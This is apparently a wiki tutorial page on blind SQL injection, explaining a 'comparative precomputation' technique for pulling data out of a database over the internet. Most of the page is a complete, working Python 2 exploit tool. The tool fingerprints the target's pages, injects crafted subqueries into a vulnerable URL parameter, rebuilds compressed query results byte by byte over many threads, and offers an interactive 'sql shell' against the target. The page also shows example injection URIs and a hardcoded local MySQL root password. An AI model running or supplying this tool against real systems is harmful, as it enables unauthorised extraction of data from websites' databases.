SQL injection/Blind/Extraction/Precomputation

Response-based data extraction allows for blind SQL injection exploitation to retrieve, in some cases, more than a single byte from the remote SQL database.

The author was able to determine that there are at least two ways to perform this task:

• A timing attack, more suited for a LAN (Local Area Network)
• A comparative precomputation attack, more suited for the WAN (Wide Area Network, or in this case, the internet)

This document focuses on the latter, for realistic exploitation demonstration.

The comparative precomputation attack

This attack heavily relies on the remote dataset for successful exploitation and thus its rate of data retrieval is more variable than other methods.

Requirements: Before comparative precomputation can be initiated, an attacker or penetration tester must be aware of the vulnerable query's context (column and table names). In order for it to be effectively faster than boolean enumeration, the contents of the query result context (column and table) must contain 3 or more instances of unique column and row data

Precomputation is done for performance and efficiency purposes. At the very least, a comparative test will be required - without precomputation, it is expected that ram usage may skyrocket. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.

The theory

The example in this section will rarely (if ever) work in the wild. It is a more basic explaination to prepare the reader's comprehension of the more advanced explanation later. (skip to advanced explanation)

• Take the following query

$query = "select * from articles where id=" . $_GET['id'];

• Assume that the above query executed between the following uri's is valid with a unique results set and sequential id's between them:

 /articles.php?id=1
 /articles.php?id=2
 ...
 /articles.php?id=255 

• First, the attacker would crawl all of the pages at id's 1-255, saving them in a hashtable with the associated id used to generate the response.

• To determine the ascii code of the first character of the sql version, an attacker might visit:

 /articles.php?id=ascii(substring(version() from 1 for 1))

The attacker would then take a checksum of the returned html data and lookup the value of the id when this checksum was found during the initial crawl.

#!/usr/bin/python2 import sys import urllib2 import time from binascii import hexlify import _mysql import md5 import pickle import re import os import threading import Queue import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi')   BOLD = '\033[1m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' ENDC = '\033[0m'   def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read()   def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery)   def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection)   def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1   length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1   return (int(length), counter)   def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return query   def do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()]))   def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest())   def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush()   def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = ""   if type_query == 0: i = 0 else: i = 1     sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time()   while i < length: threads = {} queues = []   for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads[i] = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time)   for thread in threads: threads[thread].start()   for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join()   sys.stdout.write('\n') sys.stdout.flush()   if type_query == 0: return ascii_table else: return (counter, query_result)   def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2]   print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC)   print "%s[*]%s Enter a sql query:" % (GREEN, ENDC)   while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break   query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter)   (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1)   query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close()   print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC)   print "%s[*]%s Good bye" % (GREEN, ENDC)   if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit()   print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3])